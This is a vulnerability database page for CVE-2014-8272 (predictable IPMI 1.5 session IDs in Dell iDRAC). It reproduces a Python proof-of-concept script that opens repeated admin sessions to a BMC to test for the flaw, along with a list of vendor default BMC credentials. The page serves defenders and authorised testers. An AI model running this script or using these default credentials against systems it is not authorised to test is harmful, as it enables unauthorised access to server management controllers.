CVE-2014-8272
Description
The IPMI 1.5 functionality in Dell iDRAC6 modular before 3.65, iDRAC6 monolithic before 1.98, and iDRAC7 before 1.57.57 does not properly select session ID values, which makes it easier for remote attackers to execute arbitrary commands via a brute-force attack.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Dell iDRAC IPMI 1.5 - Insufficient Session ID Randomness
"""
For testing purposes only.
(c) Yong Chuan, Koh 2014
"""
from time import sleep
from socket import *
from struct import *
from random import *
import sys, os, argparse
HOST = None
PORT = 623
bufsize = 1024
recv = ""
# create socket
UDPsock = socket(AF_INET,SOCK_DGRAM)
UDPsock.settimeout(2)
data = 21 #offset of data start
RMCP = ('\x06' + #RMCP.version = ASF RMCP v1.0
'\x00' + #RMCP.reserved
'\xFF' + #RMCP.seq
'\x07' #RMCP.Type/Class = Normal_RMCP/IPMI
)
def SessionHeader (ipmi, auth_type='None', seq_num=0, sess_id=0, pwd=None):
auth_types = {'None':0, 'MD2':1, 'MD5':2, 'Reserved':3, 'Straight Pwd':4, 'OEM':5}
sess_header = ''
sess_header += pack('<B', auth_types[auth_type])
sess_header += pack('<L', seq_num)
sess_header += pack('<L', sess_id)
if auth_type is not 'None':
raw = pwd + pack('<L', sess_id) + ipmi + pack('<L', seq_num) + pwd
import hashlib
h = hashlib.md5(raw)
sess_header += h.digest()
sess_header += pack('B', len(ipmi))
return sess_header
class CreateIPMI ():
def __init__ (self):
self.priv_lvls = {'Reserved':0, 'Callback':1, 'User':2, 'Operator':3, 'Admin':4, 'OEM':5, 'NO ACCESS':15 }
self.priv_lvls_2 = {0:'Reserved', 1:'Callback', 2:'User', 3:'Operator', 4:'Admin', 5:'OEM', 15:'NO ACCESS'}
self.auth_types = {'None':0, 'MD2':1, 'MD5':2, 'Reserved':3, 'Straight Pwd':4, 'OEM':5}
def CheckSum (self, bytes):
chksum = 0
q = ''
for i in bytes:
q += '%02X ' %ord(i)
chksum = (chksum + ord(i)) % 0x100
if chksum > 0:
chksum = 0x100 - chksum
return pack('>B', chksum)
def Header (self, cmd, seq_num=0x00):
#only for IPMI v1.5
cmds = {'Get Channel Auth Capabilities' : (0x06, 0x38), #(netfn, cmd_code)
'Get Session Challenge' : (0x06, 0x39),
'Activate Session' : (0x06, 0x3a),
'Set Session Privilege Level' : (0x06, 0x3b),
'Close Session' : (0x06, 0x3c),
'Set User Access' : (0x06, 0x43),
'Get User Access' : (0x06, 0x44),
'Set User Name' : (0x06, 0x45),
'Get User Name' : (0x06, 0x46),
'Set User Password' : (0x06, 0x47),
'Get Chassis Status' : (0x00, 0x01)}
ipmi_header = ''
ipmi_header += pack('<B', 0x20) #target addr
ipmi_header += pack('<B', cmds[cmd][0]<<2 | 0) #netfn | target lun
ipmi_header += self.CheckSum (ipmi_header)
ipmi_header += pack('<B', 0x81) #source addr
ipmi_header += pack('<B', seq_num<<2 | 0) #seq_num | source lun
ipmi_header += pack('<B', cmds[cmd][1]) #IPMI message command
return ipmi_header
def GetChannelAuthenticationCapabilities (self, hdr_seq, chn=0x0E, priv_lvl='Admin'):
ipmi = ''
ipmi += self.Header('Get Channel Auth Capabilities', hdr_seq)
ipmi += pack('<B', 0<<7 | chn) #IPMI v1.5 | chn num (0-7, 14=current_chn, 15)
ipmi += pack('<B', self.priv_lvls[priv_lvl]) #requested privilege level
ipmi += self.CheckSum (ipmi[3:])
return ipmi
def GetSessionChallenge (self, hdr_seq, username, auth_type='MD5'):
#only for IPMI v1.5
ipmi = ''
ipmi += self.Header('Get Session Challenge', hdr_seq)
ipmi += pack('<B', self.auth_types[auth_type]) #authentication type
ipmi += username #user name
ipmi += self.CheckSum(ipmi[3:])
return ipmi
def ActivateSession (self, hdr_seq, authcode, auth_type='MD5', priv_lvl='Admin'):
#only for IPMI v1.5
ipmi = ''
ipmi += self.Header('Activate Session', hdr_seq)
ipmi += pack('>B', self.auth_types[auth_type])
ipmi += pack('>B', self.priv_lvls[priv_lvl])
ipmi += authcode #challenge string
ipmi += pack('<L', 0xdeadb0b0) #initial outbound seq num
ipmi += self.CheckSum(ipmi[3:])
return ipmi
def SetSessionPrivilegeLevel (self, hdr_seq, priv_lvl='Admin'):
#only for IPMI v1.5
ipmi = ''
ipmi += self.Header('Set Session Privilege Level', hdr_seq)
ipmi += pack('>B', self.priv_lvls[priv_lvl])
ipmi += self.CheckSum(ipmi[3:])
return ipmi
def CloseSession (self, hdr_seq, sess_id):
ipmi = ''
ipmi += self.Header ("Close Session", hdr_seq)
ipmi += pack('<L', sess_id)
ipmi += self.CheckSum(ipmi[3:])
return ipmi
def GetChassisStatus (self, hdr_seq):
ipmi = ''
ipmi += self.Header ("Get Chassis Status", hdr_seq)
ipmi += self.CheckSum(ipmi[3:])
return ipmi
def GetUserAccess (self, hdr_seq, user_id, chn_num=0x0E):
ipmi = ''
ipmi += self.Header ("Get User Access", hdr_seq)
ipmi += pack('>B', chn_num) #chn_num = 0x0E = current channel
ipmi += pack('>B', user_id)
ipmi += self.CheckSum(ipmi[3:])
return ipmi
def GetUserName (self, hdr_seq, user_id=2):
ipmi = ''
ipmi += self.Header ("Get User Name", hdr_seq)
ipmi += pack('>B', user_id)
ipmi += self.CheckSum(ipmi[3:])
return ipmi
def SetUserName (self, hdr_seq, user_id, user_name):
#Assign user_name to user_id, replaces if user_id is occupied
ipmi = ''
ipmi += self.Header ("Set User Name", hdr_seq)
ipmi += pack('>B', user_id)
ipmi += user_name.ljust(16, '\x00')
ipmi += self.CheckSum(ipmi[3:])
return ipmi
def SetUserPassword (self, hdr_seq, user_id, password, op='set password'):
ops = {'disable user':0, 'enable user':1, 'set password':2, 'test password':3}
ipmi = ''
ipmi += self.Header ("Set User Password", hdr_seq)
ipmi += pack('>B', user_id)
ipmi += pack('>B', ops[op])
ipmi += password.ljust(16, '\x00') #IPMI v1.5: 16bytes | IPMI v2.0: 20bytes
ipmi += self.CheckSum(ipmi[3:])
return ipmi
def SetUserAccess (self, hdr_seq, user_id, new_priv, chn=0x0E):
ipmi = ''
ipmi += self.Header ("Set User Access", hdr_seq)
ipmi += pack('<B', 1<<7 | 0<<6 | 0<<5 | 1<<4 | chn) #bit4=1=enable user for IPMI Messaging | chn=0xE=current channel
ipmi += pack('>B', user_id)
ipmi += pack('>B', self.priv_lvls[new_priv])
ipmi += pack('>B', 0)
ipmi += self.CheckSum(ipmi[3:])
return ipmi
def SendUDP (pkt):
global HOST, PORT, data
res = ''
code = ipmi_seq = 0xFFFF
for i in range(5):
try:
UDPsock.sendto(pkt, (HOST, PORT))
res = UDPsock.recv(bufsize)
except Exception as e:
print '[-] Socket Timeout: Try %d'%i
sleep (0)
else:
#have received a reply
if res[4:5] == '\x02': #Session->AuthType = MD5
data += 16
code = unpack('B',res[data-1:data])[0]
ipmi_seq= unpack('B',res[data-3:data-2])[0]>>2
if res[4:5] == '\x02':
data -= 16
break
return code, ipmi_seq, res
def SetUpSession (username, pwd, priv='Admin', auth='MD5'):
global data
#Get Channel Authentication Capabilities
ipmi = CreateIPMI().GetChannelAuthenticationCapabilities(0, chn=0xE, priv_lvl=priv)
code, ipmi_seq, res = SendUDP (RMCP + SessionHeader(ipmi) + ipmi)
if code != 0x00:
return code, 0, 0, 0
#print '[+]%-30s: %02X (%d)'%('Get Chn Auth Capabilities', code, ipmi_seq)
#Get Session Challenge
ipmi = CreateIPMI().GetSessionChallenge(1, username, 'MD5')
code, ipmi_seq, res = SendUDP (RMCP + SessionHeader(ipmi) + ipmi)
if code != 0x00:
if code == 0xFFFF:
print "[-] BMC didn't respond to IPMI v1.5 session setup"
print " If firmware had disabled it, then BMC is not vulnerable"
return code, 0, 0, 0
temp_sess_id = unpack('<L', res[data:data+4])[0]
challenge_str = res[data+4:data+4+16]
#print '[+]%-30s: %02X (%d)'%('Get Session Challenge', code, ipmi_seq)
#Activate Session
ipmi = CreateIPMI().ActivateSession(2, challenge_str, auth, priv)
code, ipmi_seq, res = SendUDP (RMCP + SessionHeader(ipmi, auth, 0, temp_sess_id, pwd) + ipmi)
if code != 0x00:
return code, 0, 0, 0
data += 16
sess_auth_type = unpack('B', res[data:data+1])[0]
sess_id = unpack('<L', res[data+1:data+1+4])[0]
ini_inbound = sess_hdr_seq = unpack('<L', res[data+5:data+5+4])[0]
sess_priv_lvl = unpack('B', res[data+9:data+9+1])[0]
#print '[+]%-30s: %02X (%d)'%('Activate Session', code, ipmi_seq)
#print ' %-30s: Session_ID %08X'%sess_id
data -= 16
#Set Session Privilege Level
ipmi = CreateIPMI().SetSessionPrivilegeLevel(3, priv)
code, ipmi_seq, res = SendUDP (RMCP + SessionHeader(ipmi, 'None', sess_hdr_seq, sess_id) + ipmi)
sess_hdr_seq += 1
if code != 0x00:
return code, 0, 0, 0
new_priv_lvl = unpack('B', res[data:data+1])[0]
#print '[+]%-30s: %02X (%d)'%('Set Session Priv Level', code, ipmi_seq)
return code, temp_sess_id, sess_hdr_seq, sess_id
def CloseSession (sess_seq, sess_id):
global data
#Close Session
ipmi = CreateIPMI().CloseSession(5, sess_id)
code, ipmi_seq, res = SendUDP (RMCP + SessionHeader(ipmi, 'None', sess_seq, sess_id) + ipmi)
#print '[+]%-30s: %02X (%d)'%('Close Session', code, ipmi_seq)
return code
def CheckSessionAlive(sess_seq, sess_id):
#SetUserPassword(): "user enable <user_id>"
ipmi = CreateIPMI().GetChassisStatus(31)
code, ipmi_seq, res = SendUDP (RMCP + SessionHeader(ipmi, 'None', sess_seq, sess_id) + ipmi)
print '[+] %-35s: %02X (%d)'%('CheckSessionAlive->GetChassisStatus', code, ipmi_seq)
sess_seq += 1
return sess_seq
def banner():
print ("######################################################\n"+\
"## This tool checks whether a BMC machine is vulnerable to CVE-2014-8272\n"+\
"## (http://www.kb.cert.org/vuls/id/843044)\n"+\
"## by logging the TemporarySessionID/SessionID in each IPMI v1.5 session,\n"+\
"## and checking that these values are incremental\n"+\
"## \n"+\
"## Author: Yong Chuan, Koh\n"+\
"## Email: yongchuan.koh@mwrinfosecurity.com\n"+\
"## (c) Yong Chuan, Koh 2014\n"+\
"######################################################\n")
def main():
banner()
#default usernames/passwords (https://community.rapid7.com/community/metasploit/blog/2013/07/02/a-penetration-testers-guide-to-ipmi)
vendors = {"HP" :{"user":"Administrator", "pwd":""}, #no default pwd: <factory randomized 8-character string>
"DELL" :{"user":"root", "pwd":"calvin"},
"IBM" :{"user":"USERID", "pwd":"PASSW0RD"},
"FUJITSU" :{"user":"admin", "pwd":"admin"},
"SUPERMICRO" :{"user":"ADMIN", "pwd":"ADMIN"},
"ORACLE" :{"user":"root", "pwd":"changeme"},
"ASUS" :{"user":"admin", "pwd":"admin"}
}
arg = argparse.ArgumentParser(description="Test for CVE-2014-8272: Use of Insufficiently Random Values")
arg.add_argument("-i", "--ip", required=True, help="IP address of BMC server")
arg.add_argument("-u", "--udpport", nargs="?", default=623, type=int, help="Port of BMC server (optional: default 623)")
arg.add_argument("-v", "--vendor", nargs="?", help="Server vendor of BMC (optional: for default BMC credentials)")
arg.add_argument("-n", "--username", nargs="?", default=None, help="Username of BMC account (optional: for non-default credentials)")
arg.add_argument("-p", "--password", nargs="?", default=None, help="Password of BMC account (optional: for non-default credentials)")
args = arg.parse_args()
if args.vendor is not None: args.vendor = args.vendor.upper()
if (args.vendor is None or args.vendor not in vendors.keys()) and (args.username is None or args.password is None):
print "[-] Error: -n and -p are required because -v is not specified/in default list"
print " Vendors with Default Accounts"
print " -----------------------------------"
for vendor,acct in vendors.iteritems():
print " %s: username='%s', password='%s'"%(vendor,acct["user"],acct["pwd"])
sys.exit(1)
if args.username is None: args.username = vendors[args.vendor]["user"].ljust(16, '\x00')
if args.password is None: args.password = vendors[args.vendor]["pwd"].ljust(16, '\x00')
global HOST, PORT
HOST = args.ip
PORT = args.udpport
print "Script Parameters"
print "-------------------------"
print "IP : %s"%HOST
print "Port : %d"%PORT
print "Username : %s"%args.username
print "Password : %s"%args.password
session_ids = []
for i in xrange(0x80): #do not go beyond 0xFF, because of how session_ids is checked for incremental later
try:
code, temp_sess_id, sess_seq, sess_id = SetUpSession (args.username, args.password, priv='Admin', auth='MD5')
if code == 0:
session_ids.append(temp_sess_id)
session_ids.append(sess_id)
print '[+%04X] temp_sess_id=%08X, sess_id=%08X'%(i, temp_sess_id, sess_id)
else:
#print '[-%04X] SetUp Session: Trying again after timeout 5s'%(i)
sleep(5)
continue
code = CloseSession (sess_seq, sess_id)
if code == 0:
#print '[+%04X] Close Session OK'%(i)
i += 1
sleep (0.5)
else:
#print '[-%04X] Close Session fail: Wait for natural timeout (60+/-3s)'%(i)
sleep(65)
except Exception as e:
exc_type, exc_obj, exc_tb = sys.exc_info()
fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
print (exc_type, fname, exc_tb.tb_lineno)
session_ids = session_ids[:0xFF]
#get the first incremental diff
const_diff = None
for i in xrange(1, len(session_ids)):
if session_ids[i-1] < session_ids[i]:
const_diff = session_ids[i] - session_ids[i-1]
break
#check if session_ids are increasing at a fixed value
vulnerable = True
crossed_value_boundary = 0
for i in xrange(1, len(session_ids)):
if session_ids[i]-session_ids[i-1] != const_diff:
if crossed_value_boundary < 2:
crossed_value_boundary += 1
else:
vulnerable = False
if vulnerable:
print "Conclusion: BMC is vulnerable to CVE-2014-8272"
else:
print "Conclusion: BMC is not vulnerable to CVE-2014-8272"
if __name__ == "__main__":
main()
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| dell | idrac6_modular | {"endIncluding":"3.60"} | |
| dell | idrac7 | {"endIncluding":"1.56.55"} | |
| intel | ipmi | 1.5 | |
| dell | idrac6_monolithic | {"endIncluding":"1.97"} | |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.